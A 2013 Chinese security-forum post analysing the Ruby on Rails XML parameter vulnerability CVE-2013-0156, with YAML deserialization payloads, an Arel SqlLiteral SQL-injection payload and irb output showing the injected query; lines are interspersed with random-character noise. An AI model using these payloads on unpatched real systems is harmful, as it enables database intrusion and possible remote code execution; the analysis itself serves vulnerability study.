找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2238|回复: 0
打印 上一主题 下一主题

Ruby on Rails XML参数注入漏洞(CVE-2013-0156)分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:16:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author: wofeiwo#80sec.com ( J4 n' }. x8 u
; s5 c# g9 t4 k' M, j- j
注意,本文基本是这篇文章的中文版本,由于我水平有限,因此如果大家看的不是很明白,建议去原文查看。 4 D5 a4 d( \' B. n8 ]! N. Q3 u

& {) C1 T0 n" \- @; Q: `0 g3 S近日RoR的漏洞大爆发,就在昨天临晨,RoR的官网发布了新的两个安全漏洞补丁,CVE-2013-0155和CVE-2013-0156. " _) j2 G% {" ^" F/ N% y( g

" ^6 ?/ G. }( N8 T: }% N" QCVE-2013-0155主要是防止Json数据解析的nil导致程序DoS,而CVE-2013-0156则是对RoR的XML解析进行修补.其中Json的那个并没有什么值得关注的部分,但是对于XML解析的修补,却很值得玩味.官网对此补丁的描述是:要求所有RoR的用户,必须立即(immediately)升级此补丁.这是本周内除了CVE-2012-6496之外,第二次要求大家”立即”升级的高危漏洞.甚至,连cnbeta都开始报道此漏洞了. ) f" C! p6 {5 h8 g
: m- o" ^7 Y: H
为什么这个漏洞如此的严重?原因就出在RoR框架的灵活性和便利性上.RoR支持用户使用多种格式提交你的参数,而不仅仅是使用HTTP的那些基本格式.你可以使用Json,可以使用XML的方式去对你提交的参数进行描述,因为Ruby是个强类型语言,因此由于HTTP传过来的纯string的参数并不足够描述参数的属性.当你使用XML格式去递交时,就是另一回事了.例如: 9 l0 S2 y! B- F8 y8 f% q
9 E* j* s# @4 q5 }9 a% B( A
<?xml version="1.0" encoding="UTF-8"?> <hash> <foo type="integer">1</foo> </hash>如果你POST提交这样的一个数据,RoR就会在其中解析为: # W# i9 ~, `+ I& ~3 {6 m( G7 J

' |% E) H5 a1 x/ t( f) J# _; @"hash" => {"foo" => 1}这些type的xml属性也就补充说明了一个参数的类型.RoR可以很便利的将其解析出来.可关键问题就在此,Type的取值还可以为Symbol和Yaml.
8 m" Y( @( N, v  u1 S& Z! l
9 U$ H: m3 b, x# k4 o9 g$ g5 a& X说起Symbol,还记得之前提到的另一个高危SQL注入漏洞,CVE-2012-6496,其最大的不可利用问题,就在于他需要提交的参数的key必须是Symbol类型么?
- }* F4 H% ~- [' q. B) P
# E! y) Q9 A/ n然后我们测试下,就会发现,由于框架中对参数进行 data.with_indifferent_access 的操作(会把key全变成string),我们还是无法通过xml去将Key变成Symbol类型。所以,也无法利用此漏洞去利用CVE-2012-6496。
' \4 v$ w- L" Q6 v- L, r5 z
, E$ c* R, u- u4 B但是等等,还有另一个参数类型,yaml。
/ V* _  }- f" i( B! w3 c& W3 I
8 g6 }. E& F' A# hyaml强大的地方在于,利用yaml语言,你可以让Rails生成各种类型的数据结构,例如,Object。
- k5 |5 m( q4 |+ W; e% v6 a/ C. p$ p. z; d( n& d/ n6 Z
<test type="yaml">--- !ruby/object:A
0 O1 w/ ?$ @  I5 I( l$ x, gaaa: bbb </test>这基本类似于一个变量反序列化的过程,实际用起来基本就相当于一个任意变量覆盖漏洞。如果后续的代码中,有将此Object的aaa属性带入eval/exec/system等关键语句中,就可以执行一些被污染的代码。 1 @3 N* l* H. h" k$ |$ t

; o- T0 C( f7 \' T" F" x3 o如果你熟悉rails的代码,或者其他开源rails的webapp,现在就可以找起来了。或许一个远程执行0day就此诞生。
% U% X" `! \2 D' B" g4 B1 I# ^4 ~- J) S: j0 @0 S
如果你不熟悉ror,那么也没问题,实际上还有个利用方式,可以直接进行sql注入。 7 W5 }' z( w2 S4 q& P& ~

) N/ ?9 [; Q$ W# S一般在RoR中都是使用model.find_by_*的方式进行数据库查询(ActiveRecord模式)
! i: U* [3 \$ _) w9 L
" N6 [8 a) h1 I8 Cmodel.find_by_id(params[:id])类似的代码会很常见。我们可以通过yaml去定义这个id变量,使其成为可以注入的内容:
5 A1 T- _3 B4 U: y
0 |# O/ V2 l0 s<id type=yaml>--- !str:Arel::Nodes::SqlLiteral
! H) s. s# ]. W) A+ N  l1 and 1=2 </id>利用如上代码,通过SqlLiteral对象,即可进行sql注入。 $ i' p. Z, V& o) [3 K

) G2 o: m  d( R2 [8 Lirb(main):017:0> a = Arel::Nodes::SqlLiteral.new("1") => "1" irb(main):018:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):019:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=1") => "1 and 1=1" irb(main):020:0> Post.find_by_id(a) Post Load (0.0ms)SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=1 LIMIT 1 => #<Post id: 1, name: "aaa", title: nil, content: "A new post", created_at: "2013-01-10 05:01:01", updated_at: "2013-01-10 05:01:01"> irb(main):021:0> a = Arel::Nodes::SqlLiteral.new("1 and 1=2") => "1 and 1=2" irb(main):022:0> Post.find_by_id(a) Post Load (0.0ms) SELECT "posts".* FROM "posts" WHERE "posts"."id" = 1 and 1=2 LIMIT 1 => nil本文非常感谢@tcpper 的帮助,没有他的解释和测试,我是无法理解RoR及本漏洞的。 7 A: g. _2 d9 K! M. [6 w+ f' }% u

( Q* J3 W; N+ q" E, v' C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表